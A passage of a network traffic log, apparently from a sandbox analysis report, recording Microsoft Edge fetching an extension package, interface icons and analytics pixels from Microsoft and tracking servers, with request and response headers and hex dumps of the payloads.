2024-11-28 07:55:52 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-28 07:55:52 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49804	23.55.235.241	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:52 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733385351&P2=404&P3=2&P4=hsNgyPMD%2f95BFMah5vMOcbRlCeo7vhZAOmWNA73s9L2djlpP8Xx1JCt8UX2VHIQdPzZDxw%2fbknsAe6RGn%2fFN5g%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: ffEzMwnGp0BhI6LHFpucqL Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:53 UTC	1251	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 3724508b-babb-4f82-a620-3229902e2e13 MS-RequestId: 145135a9-d189-4ee6-9ab6-9ea4d8f0c10d MS-CV: n+/dRx6ZTdr6A0xIW0pYAl.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86387 Date: Thu, 28 Nov 2024 07:55:53 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.55.235.246,b=657475286,c=g,n=US_NJ_NEWARK,o=20940],[c=c,n=US_NJ_PISCATAWAY,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.f6eb3717.1732780553.273046d6 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-28 07:55:53 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49806	13.107.246.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:53 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:54 UTC	522	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:54 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: cad89b3e-501e-005d-73ed-409803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T075554Z-174f7845968vqt9xhC1EWRgten0000000y2g00000000bxc7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:55:54 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49805	13.107.246.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:54 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:54 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:54 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 0bea2c01-401e-0042-507f-404313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T075554Z-174f7845968pght8hC1EWRyvxg0000000170000000009d2f Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 07:55:54 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49807	13.107.246.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:54 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:54 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:54 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 843d88b3-801e-005f-1a7f-409af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T075554Z-174f7845968nxc96hC1EWRspw80000000xsg00000000cq51 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 07:55:54 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49809	13.107.246.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:54 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:54 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:54 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: fcdf0dc0-001e-004e-0122-41ade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T075554Z-174f7845968psccphC1EWRuz9s0000000y9000000000csqb Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 07:55:54 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49808	13.107.246.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:54 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:54 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:54 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: f78da902-c01e-0071-68ed-401a3e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T075554Z-174f7845968psccphC1EWRuz9s0000000y8g00000000dnps Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 07:55:54 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49810	13.107.246.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:54 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:54 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:54 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 91faf48f-601e-005e-307f-409b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T075554Z-174f7845968swgbqhC1EWRmnb40000000y7g000000008u93 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 07:55:54 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49813	18.173.219.40	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:55 UTC	925	OUT	GET /b?rn=1732780552190&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=31AC35F41F35674A28F120B11E576675&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:55 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 28 Nov 2024 07:55:55 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732780552190&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=31AC35F41F35674A28F120B11E576675&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=13592907fda912e82b418fb1732780555; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=13592907fda912e82b418fb1732780555; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 a3cc1cfce2f0f18de36e3834e18556b8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: bbW1noLBi8BVr__RiO-BFxYGrNa6KdvFdkG_qj94iniqznEtVhrZQw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49812	20.110.205.119	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:55 UTC	1175	OUT	GET /c.gif?rnd=1732780552189&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0a5496371c054449aaffcd2982636e51&activityId=0a5496371c054449aaffcd2982636e51&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1
2024-11-28 07:55:55 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732780552189&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0a5496371c054449aaffcd2982636e51&activityId=0a5496371c054449aaffcd2982636e51&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=21C0AAED8B504C3984197EE0ABFA204B&RedC=c.msn.com&MXFR=31AC35F41F35674A28F120B11E576675 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=31AC35F41F35674A28F120B11E576675; domain=.msn.com; expires=Tue, 23-Dec-2025 07:55:55 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Thu, 28 Nov 2024 07:55:54 